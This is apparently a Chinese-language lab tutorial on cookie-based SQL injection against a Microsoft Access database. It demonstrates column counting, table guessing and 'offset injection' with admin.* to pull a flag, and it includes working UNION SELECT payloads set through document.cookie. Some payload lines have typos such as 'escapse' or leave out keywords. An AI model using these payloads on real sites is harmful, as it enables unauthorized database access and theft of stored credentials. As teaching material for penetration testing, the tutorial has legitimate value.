当前文章只适用于教学和合法测试,用于非法活动,一切法律责任由个人负责
Access数据库是一个只有表名没有库名的特殊数据库,所以我们在渗透测试过程中,再通过了获取了表名不知道字段名的情况下怎么去进行注入了
这里我们首先来讲一下一个简单的查询语句
select * from admin
这个语句*是代表什么呢,代表当前查询表的所有字段,而在数据中字段又可以通过“表名.字段名”的方式来写,所以我们这个语句又可以写成 select admin.* from admin.
那这个又和我们的偏移注入有什么关系呢,下面我们进入我们的第一回合
因为我们在Access注入通常发生在 cooki中,所以我们还是以靶场实例来对大家一一演示。
首先我们进入一个靶场。
我们先来寻找我们这个靶场cookie中是否存在注入点
我们打开开发者工具,F12或者鼠标右键点击检查,然后找到application或者应用程序。
找到存储中的cookie
然后点击cookie列表,点击空白处新增一个id,旁边列填上我们url中末尾数字105
然后删除url?后面的参数,点击回车
发现页面正常返回,这里我们还需要进行将cookie的id-1再试试。
页面还是正常返回,说明此处存在注入漏洞
我们通过order by 1一直到它页面报错为止。
我们试到order by 27页面显示找不到此产品
我们再试order by 26,这里我们用到了js的一个编码,来对cookie 进行一个赋值,在控制台或者console中输入如下代码,其中escape是js的一个url编码函数。
document.cookie = "ID=" + escapse("105 order by 26")
这里页面返回正常,说明当前表名字段数是26.
然后我们再来看这个靶场存在uesr表不,这里我们一般是先猜常用表名。
document .cookie="ID=" + escapse("105 and exists(select * from user)")
这个提示找不到产品,这里我们在尝试下admin表
这里页面正常。说明存在admin表
这里我们然后找显注点,我们已经知道当前字段数是26
那我们就先输入 document.cookie = "ID=" + escape("105 and 1=2 select 1,2....26 from admin")
此时我们找到了三个注入点,为了找出所有的显注点,我们打开检查查看页面源代码。
发现这个图片有个src=25,这个是不是我们的显煮点呢,我们将代码改成
document.cookie ="ID=" +escape("select 1,2,33333 ,44444,555555,66666,777777,....25252525252525,26666666")
发现我们的页面也发生了变化,这时我们在查看下刚刚那个图片
此时就变成了我们所改动的值,这个说明我们刚刚的想法是正确的。
然后我们第一个通过移动admin.*的位置,来查看我们这个靶场的flag,因为我们知道总共有四个显著点,我们可以先从后面移动admin.*的位置
documen.cookie=
“ID=” +escape("105 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,admin.*")
此时我们没看出什么问题,然后我们再移动一个位置
document.cookie ="ID=" + escape("105 and 1=2 union select 1,2,3,4,5,6,7,8,9,admin.*,10 from admin")
这里我们就找到了我们的flag了